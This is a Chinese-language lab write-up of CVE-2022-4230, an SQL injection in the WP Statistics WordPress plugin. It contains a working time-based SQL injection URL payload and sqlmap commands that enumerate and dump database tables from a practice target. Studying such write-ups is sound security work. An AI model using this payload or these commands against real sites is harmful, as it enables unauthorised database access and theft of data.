CVE-2022-4230

CVE-2022-4230

漏洞介绍

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它

知识补充

WordPress是一种CMS系统,在 WordPress 中,所有提交表单的数据都应包含一个 _wpnonce 字段,以防止未经授权的表单提交。Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,通过REST API来访问,每次都给发送一个_wpnonce来进行认证

概念验证

以具有查看 WP 统计权限的用户身份登录,并通过 https://example.com/wp-admin/admin-ajax.php?action=rest-nonce 获取一个 nonce,然后在以下 URL 中使用它,该 URL 将延迟 5 秒

里面的nonce需要通过返回的随机数值替换

复制代码
http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

漏洞分析

https://www.cnblogs.com/F12-blog/p/18170169

开始实验

打开靶场空白一片

想想可以访问/wp-admin/admin-ajax.php?action=rest-nonce 来获得nonce,访问试试

good,回显个0,说明可能存在其他条件限制返回nonce,扫一扫

存在一个/readme.html,访问看看

存在一个登录界面,尝试登录

用户/密码:test/test

再次尝试 /wp-admin/admin-ajax.php?action=rest-nonce

成功返回随机数,修改nonce

访问

复制代码
/wp-json/wp-statistics/v2/metabox?_wpnonce=4d916dc27a&name=words&search_engine=aaa' AND (SELECT 5671 FROM (SELECT(SLEEP(5)))Mdgs)-- HsBR

抓包,使用sqlmap开始注入

查询当前数据库

复制代码
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --batch --current-db

爆表

复制代码
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --batch -D wordpress --tables

查询flag表后,发现flag字段,查询flag字段

复制代码
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt  -D wordpress -T flag -C flag --dump
相关推荐
humors22138 分钟前
学习方法的系统梳理与实践应用
学习·学习方法
爱讲故事的1 小时前
操作系统第一讲复习:为什么学习操作系统,以及操作系统到底在做什么?
linux·开发语言·windows·学习·ubuntu·c#
胡图图不糊涂^_^2 小时前
测试用例篇——设计测试用例的方法
笔记·学习·测试用例·判定表法·正交法生成用例测试·等价类·边界值
Fanfanaas2 小时前
C++ 继承
java·开发语言·jvm·c++·学习·算法
飞翔中文网3 小时前
Java学习笔记之抽象类
java·笔记·学习
Esaka_Forever4 小时前
few‑shot learning(少样本学习)
人工智能·学习
川石课堂软件测试5 小时前
零基础小白如何学习自动化测试
python·功能测试·学习·测试工具·jmeter·压力测试·harmonyos
2301_809051145 小时前
Linux 数据库开发 学习笔记
笔记·学习·数据库开发
爱喝水的鱼丶5 小时前
SAP-ABAP:SAP 简单报表输出开发系列(共6篇)第三篇:SAP ALV 报表样式定制:字段布局与交互功能配置
服务器·开发语言·学习·交互·sap·abap
很楠爱上5 小时前
Node.js 模块化学习笔记
笔记·学习·node.js